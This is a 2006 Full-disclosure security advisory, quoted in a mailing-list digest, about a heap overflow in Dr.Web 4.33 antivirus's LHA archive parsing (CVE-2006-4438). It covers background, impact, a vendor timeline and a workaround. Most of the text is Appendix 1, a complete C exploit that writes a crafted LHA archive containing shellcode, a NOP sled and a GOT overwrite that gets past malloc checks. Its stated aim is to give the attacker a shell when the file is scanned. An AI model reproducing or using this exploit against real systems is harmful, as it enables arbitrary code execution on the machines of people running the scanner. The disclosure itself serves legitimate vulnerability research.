Thread-topic: Dr.Web 4.33 antivirus LHA long directory name heap overflow
> ------------------------------
>
> Message: 13
> Date: Tue, 03 Oct 2006 21:48:09 -0400
> From: Jean-S?bastien Guay-Leroux <jean-sebastien@xxxxxxxxxxxxxxx>
> Subject: [Full-disclosure] Dr.Web 4.33 antivirus LHA long directory
> name heap overflow
> To: full-disclosure@xxxxxxxxxxxxxxxxx
> Message-ID: <452312D9.5040107@xxxxxxxxxxxxxxx>
> Content-Type: text/plain; charset=ISO-8859-1
>
> Topic: Dr.Web 4.33 antivirus LHA long directory name heap
> overflow
>
> Announced: 2006-09-19
> Product: Dr.Web antivirus
> Vendor: http://www.drweb.com/
> Impact: Code execution
> Affected product: Dr.Web 4.33, probably earlier versions also
> Credits: Jean-S?bastien Guay-Leroux
> CVE ID: CVE-2006-4438
>
>
> I. BACKGROUND
>
> Dr.Web, a new generation of a virus scanner, searches and kills file
> and boot viruses, as well as combination viruses, which infect both
> files and boot sectors.
>
> The SpIDer intercepts all attempts to access files and disk system
> areas and checks them for viruses "on-the-fly" first. Having detected
> a virus, SpIDer removes or locks it, granting access to the infected
> file only if it has been successfully cured.
>
> A highlight of Dr.Web that differ it from other scanners is the
> heuristic analyzer along with the traditional mechanism for detecting
> viruses by signatures (a specific byte string in the virus code that
> definitely identifies the virus).
>
> Updates for new virus-extensions online via Internet
>
> o Available for following systems:
> o Windows 9x, Me, XP, 2000, 2003
> o LINUX
> o FreeBSD, OpenBSD
> o Solaris
> o Novell
> o OS/2
>
>
> II. DESCRIPTION
>
> When building a special LHA archive with a long directory name in an
> extended directory header, a fixed size buffer on the heap is
> overflowed.
>
> When processing this malicious archive, it is then possible to make
> Dr.Web run arbitrary code by overwriting some internal malloc
> management informations.
>
>
> III. IMPACT
>
> Denial of service and possibly code execution.
>
>
> IV. EXPLOIT
>
> A working exploit version was developped for Dr.Web (R) Scanner for
> Linux v4.33 (4.33.0.09211). See appendix 1.
>
>
> V. SOLUTION
>
> The vendor did not provide any patch or workarounds for this security
> flaw. It is suggested to either change your antivirus software or to
> disable archive scanning until the vendor releases a patch.
>
> Disabling archive scanning greatly reduces DrWeb's power to detect
> viruses. To disable it, you need to modify drweb.ini and change the
> "CheckArchives" line to:
>
> CheckArchives = No
>
>
> VI. CREDITS
>
> Vulnerability was discovered by Jean-Seastien Guay-Leroux.
>
>
> VII. TIMELINE
>
> 2006-04-xx : Bug is discovered (I don't remember when exactly :-)
> 2006-08-11 : Proof of concept code is written.
> 2006-08-25 : Vendor is notified via security@xxxxxxxxx and
> support@xxxxxxxxxx
> 2006-08-29 : Vendor says the bug was submitted to the developpers for
> review.
> 2006-09-05 : Vendor is asked to provide an update on the bug.
> 2006-09-06 : Vendor says the request has been forwarded to the
> developpers.
> 2006-09-11 : Vendor is asked, again, to provide an update on the bug.
> 2006-09-11 : Vendor replies with : "Sorry, no action yet."
> 2006-09-19 : Advisory is published.
>
>
> VIII. APPENDIX 1
>
> /********************************************************************
>
> stetoscope.c:
> Dr.Web 4.33 antivirus LHA directory name heap overflow for linux
>
>
> - Howto:
>
> Find a valid GOT entry to hijack with objdump -R /opt/drweb/drweb .
> I guess that you can use the address of free(), but my exploit
> uses the address of realpath(). There was a NULL byte in the GOT
> entry of free() so I had to find something else ;-)
>
> Calling the exploit will produce a file. Scan this file with a
> vulnerable version of drweb and you will, hopefully, get a shell :-)
>
> Good luck!
>
>
> - Exploit particularities:
>
> - There is a NOP sled using \xeb\x0a . Increases exploit
> reliability
> - 0xff and 0x00 are filtered caracters
> - Bypass some malloc security checks added in malloc.c:
>
> Little security check which won't hurt performance: the
> allocator never wrapps around at the end of the address space.
> Therefore we can exclude some size values which might appear
> here by accident or by "design" from some intruder.
>
> This thread helped me a lot :-) :
>
> http://archives.neohapsis.com/archives/dailydave/2006-
> q1/thread.html#149
>
> - Shellcode took from Metasploit's shellcode generator.
>
>
> - Coded by:
>
> Jean-Sebastien Guay-Leroux
> http://www.guay-leroux.com
>
> *********************************************************************/
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <string.h>
>
> // Base structure of a LHA file
> #define I_HEADER_SIZE 0
> #define I_HEADER_CHECKSUM 1
> #define I_METHOD 2
> #define I_PACKED_SIZE 7
> #define I_ORIGINAL_SIZE 11
> #define I_LAST_MODIFIED_STAMP 15
> #define I_ATTRIBUTE 19
> #define I_HEADER_LEVEL 20
> #define I_NAME_LENGTH 21
> #define I_NAME 22
> #define I_CRC 26
> #define I_EXTEND_TYPE 28
>
> // Extended structure of a LHA file
> #define E_HEADER_SIZE 0
> #define E_HEADER_TYPE 2
> #define E_HEADER_NAME 3
>
> #define DEBUG 0
>
> unsigned char shellcode1[] =
> "\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
> "\x11\x22\xdf\x83\xeb\xfc\xe2\xf4\x62\x1a\x7a\x46\x5a\x77\x4a\xf2"
> "\x6b\x98\xc5\xb7\x27\x62\x4a\xdf\x60\x3e\x40\xb6\x66\x98\xc1\x8d"
> "\xe0\x19\x22\xdf\x08\x3e\x40\xb6\x66\x3e\x51\xb7\x08\x46\x71\x56"
> "\xe9\xdc\xa2\xdf";
>
> FILE * open_file (char *filename) {
>
> FILE *fp;
>
> fp = fopen ( filename , "w" );
>
> if (!fp) {
> perror ("Cant open file");
> exit (-1);
> }
>
> return fp;
> }
>
> void put_byte (char *ptr, unsigned char data) {
> *ptr = data;
> }
>
> void put_word (char *ptr, unsigned short data) {
> put_byte (ptr, data);
> put_byte (ptr + 1, data >> 8);
> }
>
> void put_longword (char *ptr, unsigned long data) {
> put_byte (ptr, data);
> put_byte (ptr + 1, data >> 8);
> put_byte (ptr + 2, data >> 16);
> put_byte (ptr + 3, data >> 24);
> }
>
> void usage (char *progname) {
>
> printf ("\nTo use:\n");
> printf ("%s <retloc> <retaddr> <file>\n\n", progname);
> printf ("Example: %s 0x08080114 0x081C63F8 LHA_dir\n\n",
> progname);
>
> exit (-1);
> }
>
> int main (int argc, char *argv[]) {
>
> FILE *fp;
> char *hdr = (char *) malloc (4096), *ptr;
> int header_size;
> int written_bytes;
> int total_size;
> unsigned int retloc, retaddr;
> char *filename = (char *) malloc (256);
> int i;
>
> if (!hdr) {
> perror ("Error allocating memory");
> exit (-1);
> }
>
> if ( argc != 4) {
> usage ( argv[0] );
> }
>
> // parse arguments
> sscanf (argv[1], "0x%x", &retloc);
> sscanf (argv[2], "0x%x", &retaddr);
> strncpy (filename, argv[3], 255);
>
> memset (hdr, 0, 4096);
>
> // base header
> header_size = 29;
> put_byte (hdr + I_HEADER_SIZE, header_size);
> put_byte (hdr + I_HEADER_CHECKSUM, 83);
> memcpy (hdr + I_METHOD, "-lh0-", 5); // No compression...
> put_longword (hdr + I_PACKED_SIZE, 0x1234);
> put_longword (hdr + I_ORIGINAL_SIZE, 0x1234);
> put_longword (hdr + I_LAST_MODIFIED_STAMP, 0x1234);
> put_byte (hdr + I_ATTRIBUTE, 0x20);
> put_byte (hdr + I_HEADER_LEVEL, 0x01);
> put_byte (hdr + I_NAME_LENGTH, 0x04);
> put_longword (hdr + I_NAME, 0x90909090);
> put_word (hdr + I_CRC, 0x6666);
> put_byte (hdr + I_EXTEND_TYPE, 0x55); // Unix filesystem.
>
> // extended header
> put_word (hdr + header_size + E_HEADER_SIZE, 285);
> put_byte (hdr + header_size + E_HEADER_TYPE, 0x2);
>
> // Build our payload
> memset (hdr + header_size + E_HEADER_NAME, 0x41, 266);
> for (i = 0, ptr = hdr + header_size + E_HEADER_NAME; i < (240
> - strlen (shellcode1) - 10);) {
> ptr[i++] = 0xeb;
> ptr[i++] = 0x0a;
> }
> for (; i < (240 - strlen (shellcode1));) {
> ptr[i++]=0x90;
> }
> memcpy (hdr + header_size + E_HEADER_NAME + 240 - strlen
> (shellcode1), shellcode1, strlen(shellcode1));
>
> put_longword (hdr + header_size + E_HEADER_NAME + 266,
> 0x41414141);
> put_longword (hdr + header_size + E_HEADER_NAME + 270,
> 0xB7E34CC2);
> put_longword (hdr + header_size + E_HEADER_NAME + 274, retloc
> - 0xc);
> put_longword (hdr + header_size + E_HEADER_NAME + 278,
> retaddr);
>
> // Size of next extended header is 0
> put_word (hdr + header_size + E_HEADER_NAME + 282, 0x0000);
>
> total_size = (header_size + 284 + E_HEADER_NAME);
>
> fp = open_file (filename);
>
> if ( (written_bytes = fwrite ( hdr, 1, total_size, fp)) != 0 )
> {
> if (DEBUG) printf ("%d bytes written\n",
> written_bytes);
> } else {
> perror ("Cant write to the file\n");
> }
>
> fclose (fp);
>
> return 0;
> }
>
>
>